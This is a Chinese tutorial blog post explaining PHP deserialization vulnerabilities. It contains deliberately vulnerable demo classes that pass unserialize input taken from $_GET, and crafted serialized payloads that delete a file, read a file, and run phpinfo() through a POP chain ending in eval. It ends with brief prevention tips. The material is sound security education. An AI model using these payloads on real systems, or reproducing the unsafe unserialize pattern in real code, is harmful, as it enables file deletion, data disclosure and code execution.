浅浅析PHP反序列化漏洞

文章最后更新时间为:2019年03月19日 00:15:07

0. 前言

以前只是在在线实验室学习过php反序列化漏洞,但是只是浮于表面,也没有挖到过,记忆就很浅了,觉得还是认真学习记录一下比较好。

1. PHP序列化、反序列化介绍

php序列化就是将变量保存为字符串,反之,反序列化就是将字符串还原为变量,在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?

​ serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换中可以保存当前变量的值;而unserialize则可以将serialize生成的字符串变换回变量。

举个例子:

<?php
class Student{
    protected $name = 'saucerman';
    public $sex = 'man';
    public $year = 10;
}
$saucerman = new Student; 
$saveData = serialize($saucerman); //序列化后的字符串
echo $saveData; 

# 结果
O:7:"Student":3:s:7:"*name";s:9:"saucerman";s:3:"sex";s:3:"man";s:4:"year";i:10;}

下面是结果和一些注解:

然后我们可以在后面将$saveData反序列化:

$who = unserialize($saveData);
print_r($who);

可以看到还原了原来的类:

2. 反序列化漏洞

那么在反序列化的过程中,怎么就会产生漏洞?一步步来看

2.1 魔法函数

熟悉python的都知道,python在创建类的时候,会自动调用init()方法来进行初始化。

php也有也有一些魔法函数,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用,具体可参考:http://php.net/manual/zh/language.oop5.magic.php, 和反序列化相关的主要有以下几个函数:

  • __construct()当一个对象创建时被调用__
  • __destruct()当一个对象销毁时被调用
  • __toString()当一个对象被当作一个字符串使用__
  • __sleep() 在对象在被序列化之前运行
  • __wakeup将在序列化之后立即被调用

下面我们做一个实验:

<?php
class Test
{
    public $varible = 'BUZZ';
    public $varible2 = 'OTHER';

    public function PrintVarible()
    {
        echo $this->varible . '<br />';
    }

    public function __construct()
    {
        echo '__construct<br />';
    }

    public function __destruct()
    {
        echo '__destruct<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup<br />';
    }
    public function __sleep()
    {
        echo '__sleep<br />';
        return array('varible','varible2');
    }
}

// 创建一个对象,会调用__construct
$obj = new Test;
// 序列化一个对象,会调用__sleep
$serialized = serialize($obj);
//输出序列化后的字符串
print 'Serialized: ' . $serialized . '<br />';
// 重建对象,会调用__wakeup
$obj2 = unserialize($serialized);
// 调用PrintVarible,会输出数据(BUZZ)
$obj2->PrintVarible();
//php脚本结束,会调用__distruct
?>

结果:

2.2 反序列漏洞举例

通过上述代码可以看到serialize的时候调用了__sleep,unserialize的时候调用了__wakeup函数,在对象销毁的时候调用了__destruct函数

​ 举个存在漏洞例子。logfile.php中一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除:

<?php
class LogFile
{
        //log文件名
        public $filename = 'error.log';

        //存储日志函数
        public function logData($text)
        {
            echo 'Log some data:' . $text . '<br />';
            file_put_content($this->filename,$text,FILE_APPEND);
        }

        // 删除日志
        public function __destruct()
        {
                echo '__destruct delete ' . $this->filename . '<br />';
                unlink(dirname(__FILE__) . '/' . $this->filename);
        }
}
?>

如果在index.php文件中调用这个类:

<?php
include 'logfile.php';
// .....一些乱七八糟的代码
// 重建用户输入的数据
$usr = unserialize($_GET['usr_serialized']);

?>

我们看到$usr = unserialize($_GET['usr_serialized']);其中 $_GET['usr_serialized']是可控的,那么我们就可以构造输入删除任意文件。

比如说, 这里如果我们需要删除1.php,访问1.php如下:

那么我们可以构造

<?php

include 'logfile.php';
$obj = new LogFile();
$obj->filename = '1.php';
echo serialize($obj);

这样得到反序列化后的值为:O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}

这样我们访问http://127.0.0.1/index.php?usr_serialized=O:7:%22LogFile%22:1:{s:8:%22filename%22;s:5:%221.php%22;},之后再访问1.php就会发现已经被删除了。

在上面的例子中,由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup__sleep__toString等其他magic函数,一切都是取决于程序逻辑。

​ 打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。

<?php

class FileClass
{
    //文件名
    public $filename = 'error.log';
    //当对象被作为字符串会读取这个文件
    public function __toString()
    {
        return file_get_contents($this->filename);
    }
}

//其他乱七八糟的代码...

// 用户可控
$obj = unserialize($_GET['usr_serialized']);
//输出 __toString
echo $obj;

这样我们访问http://localhost/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}便可以读到1.txt文件中的内容

2.3 php反序列化与POP链

前面说到的都是基于魔法函数的自动调用,但是有时危险函数只存在于普通函数中,就不能简单的利用魔法函数完成危险操作了。

但是面向对象经常要完成类与类之间的调用。就像ROP一样,比如如下代码:

<?php
class ROP1 {
    var $test;
    function __construct() {
        $this->test = new ROP2();
    }
    function __destruct() {
        $this->test->action();
    }
}
class ROP2 {
    function action() {
        echo "hello,world";
    }
}
class ROP3 {
    var $test2;
    function action() {
        eval($this->test2);
    }
}
$classsssssss = new ROP1();
unserialize($_GET['test']);
?>

上述代码ROP1类在__destruct时会调用ROP2的action()方法,输出hello,world

但是我们注意到ROP3类中危险函数eval,我们可以控制ROP1来调用ROP3方法。

<?php
class ROP1 {
    var $test;
    function __construct() {
        $this->test = new ROP3();
    }
}
class ROP3 {
    var $test2 = "phpinfo();";
}
echo serialize(new ROP1());
?>

这样得到反序列化字符串O:4:"ROP1":1:{s:4:"test";O:4:"ROP3":1:{s:5:"test2";s:10:"phpinfo();";}}。然后访问http://localhost/test.php?test=O:4:%22ROP1%22:1:{s:4:%22test%22;O:4:%22ROP3%22:1:{s:5:%22test2%22;s:10:%22phpinfo();%22;}}如下:

再来回顾一下上述过程,我们发现反序列化的值时可控的,并且发现了ROP3类中危险函数eval,那么我们就要想办法来调用这个类的函数,我们发现ROP1会调用其他类,所以我们可以修改ROP1调用的类,然后控制eval函数的参数即可。

一开始我还在想,能不能直接控制ROP2的函数,被自己蠢到了。。反序列化只会保存参数,不会有任何函数定义。

2.4 漏洞防范

  • 要严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
  • 要对于unserialize后的变量内容进行检查,以确定内容没有被污染

3. 参考

1 + 2 =
快来做第一个评论的人吧~